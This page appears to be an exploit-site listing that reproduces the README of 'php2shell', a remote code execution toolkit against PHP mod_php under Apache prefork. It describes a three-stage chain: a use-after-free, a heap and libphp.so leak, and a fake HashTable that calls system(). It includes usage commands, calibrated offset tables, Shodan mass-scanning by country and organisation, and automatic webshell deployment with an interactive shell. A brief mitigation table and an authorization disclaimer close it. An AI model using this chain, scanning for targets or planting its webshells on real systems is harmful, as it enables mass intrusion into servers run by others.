Skip to content
Exploit for Improperly Controlled Sequential Memory Allocation in Php

Exploit for Improperly Controlled Sequential Memory Allocation in Php

Sploitus • October 27, 2026

*session.upload_progress UAF → heap leak → libphp leak → fake HashTable → `system()` — pure HTTP, zero target-side requirements*

[![GitHub](

[![PHP](

[![CVSS](

[![License: GPL-3.0](

A single-file exploit toolkit for two critical PHP vulnerabilities (CVE-2026-109618 / CVE-2026-109619). Fully remote, HTTP-only exploit chain against `mod_php + Apache prefork`:

- No `session_start()` needed on the target page

- No credentials, no cookie, no header trick

→ 12MB multipart OOM inside php_session_initialize()

→ prefork forks fresh worker, inherits libphp mapping + heap layout

→ re-occupies dangling reference with attacker-sized multipart buffers

→ fake HashTable: pDestructor = zif_system

→ zend_hash_destroy() calls system("whoami>p")

**Stage 1** — OOM multipart leaks Zend MM chunk base via `Set-Cookie: PHPSESSID=` raw heap bytes.

**Stage 2** — HashTable alignment leaks `zval_ptr_dtor` address → `libphp.so` base → ASLR defeated.

**Stage 3** — 167-byte fake HashTable/zend_string carrier planted in session data. `pDestructor = libphp_base + zif_system_offset`. Command at offset `0x98`, max **14 bytes**.

git clone

# optional, for --scan (Shodan mass scan):

Python 3.10+. Single file, no build step.

python php2shell_scanner.py --target

python php2shell_scanner.py --target --exploit

python php2shell_scanner.py --target --exploit --shell

After RCE, this automatically generates a managed PHP webshell (bcrypt auth, TTL auto-delete, audit log), deploys it via multi-run stager, and opens an interactive REPL.

python php2shell_scanner.py --connect # last deployed

python php2shell_scanner.py --connect # specific URL

python php2shell_scanner.py --target --exploit --deploy my_shell.php

python php2shell_scanner.py --scan --limit 500 --exploit # Shodan

python php2shell_scanner.py --input targets.txt --exploit # from file

python php2shell_scanner.py --scan --country US --org "Amazon" # filtered

| `--path PATH` | auto | Force PHP endpoint path |

| `--exploit` | off | Run the 3-stage chain |

| `--cmd CMD` | `whoami>p` | Stage-3 command, ≤14 bytes, ≥8 bytes recommended |

| `--profile NAME` | auto | Calibration profile (`lab`, `bookworm`, `8.5.11-amd64`, etc.) |

| `--zif-offset HEX` | profile | Manual `zif_system` offset from libphp base |

| `--dtor-offset HEX` | profile | Manual `zval_ptr_dtor` offset from libphp base |

| `--htdata-offset HEX` | profile | Manual chunk-relative carrier offset |

| `--huge-mb N` | memprobe | Force the stage-1 OOM field size in MB |

| `--fetch PATH` | auto | HTTP path to read after stage 3 for proof |

| `--retries N` | 3 | Leak-stage retries |

| `--exploit-timeout N` | 300 | Total exploit budget in seconds |

| `--exploit-threads N` | 1 | Parallel threads across different targets |

| `--no-pre-rotate` | off | Skip warm-up worker rotation |

| `--no-retry-rotate` | off | Don't rotate between retries |

| `--shell` | off | Generate + auto-deploy managed webshell after RCE |

| `--shell-out DIR` | `./out` | Output directory for generated shell |

| `--shell-ttl N` | 72 | Shell self-destructs after N hours |

| `--connect [URL]` | — | Open REPL against a deployed shell. Bare = last deployed |

| `--deploy FILE` | — | Deploy a custom PHP file instead of the managed shell |

| `--deploy-filename NAME` | random hex | Remote filename for deployed shell |

| `--scan` | off | Mass scan via Shodan |

| `--input FILE` | — | Scan from file (one target per line) |

| `--limit N` | 100 | Shodan results per query |

| `--threads N` | 15 | Parallel scan threads |

| `--timeout N` | 12 | Per-request timeout |

| `--country CC` | — | Shodan country filter |

| `--query Q` | — | Custom Shodan query override |

| `--show-all` | off | Exploit 'possible' targets too, not just confirmed/likely |

| `--include-eol` | off | Include EOL branches in Shodan queries |

| `--out FILE` | `php2shell_results.json` | Report output file |

| Profile | Build | zif_system | zval_ptr_dtor | htdata |

|---------|-------|------------|---------------|--------|

| `lab` | PHP 8.4.26, Apache 2.4.68 | 0x43A870 | 0x613C50 | 0x6E0D8 |

| `bookworm` | `php:8.4.26-apache` amd64 | 0x465370 | 0x65EB60 | 0x690D8 |

| `8.5.11-amd64` | `php:8.5.11-apache` amd64 | 0x5996E0 | 0x7B47A0 | 0x690D8 |

| `8.5.11-aarch64` | `php:8.5.11-apache` aarch64 | 0x5314F0 | 0x761B80 | 0x690D8 |

| `8.5.10-aarch64` | `php:8.5.10-apache` aarch64 | 0x52E130 | 0x75D360 | 0x690D8 |

| `8.4.25-aarch64` | `php:8.4.25-apache` aarch64 | 0x42FA30 | 0x637AE0 | 0x690D8 |

Unknown build? Extract offsets from `libphp.so`:

nm -D libphp.so | grep -E 'zif_system|zval_ptr_dtor'

# then pass: --zif-offset 0x... --dtor-offset 0x... --htdata-offset 0x...

Or use the included helper on a running container:

python docker/offsets.py [container_name]

# → php:8.4.26-apache, single prefork worker, port 8095

# → session.upload_progress.enabled=On, memory_limit=8M

python php2shell_scanner.py --target --exploit --shell

Any PHP ≤ 8.4.26 / 8.5.11 / 8.3.35 / 8.2.34 running as `mod_php` under Apache prefork with `session.upload_progress.enabled = On` (the default).

All PHP ≤ 8.1 branches are permanently vulnerable — no patch exists.

| **Update PHP** | 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 or later — this is the only real fix |

| **Disable upload_progress** | `session.upload_progress.enabled = Off` in `php.ini` — blocks the trigger entirely |

| **Switch to php-fpm** | The exploit requires `mod_php` under prefork. php-fpm behind nginx or Apache event MPM is not vulnerable to this chain |

| **WAF rules** | Block multipart requests with `PHP_SESSION_UPLOAD_PROGRESS` in form field names — this is the trigger mechanism |

| **Upgrade EOL branches** | PHP 5.x, 7.x, 8.0, 8.1 will never be patched. migrate to a supported branch |

php -i | grep session.upload_progress.enabled

# check SAPI (mod_php = vulnerable, fpm = not this chain)

| `HEAP_LEAK_FAILED` | Offsets not calibrated for this build | Use `--profile` or manual offsets |

| Stage 1 body rejected | `post_max_size` too small | Needs ≥ 64M on target |

| Stage 3 runs but no proof | Command p`) |

| `BLIND` result | No proof channel | Use `cmd>file` redirect shape |

| Shell 410 Gone | TTL expired | Re-deploy with `--shell` |

This tool is for **authorized security testing and research only**. Use it only on systems you own or have written permission to test. Unauthorized access to computer systems is a crime in most jurisdictions.

**[BAWAN]( — [github.com/bawanu/php2shell](

Extracted Entities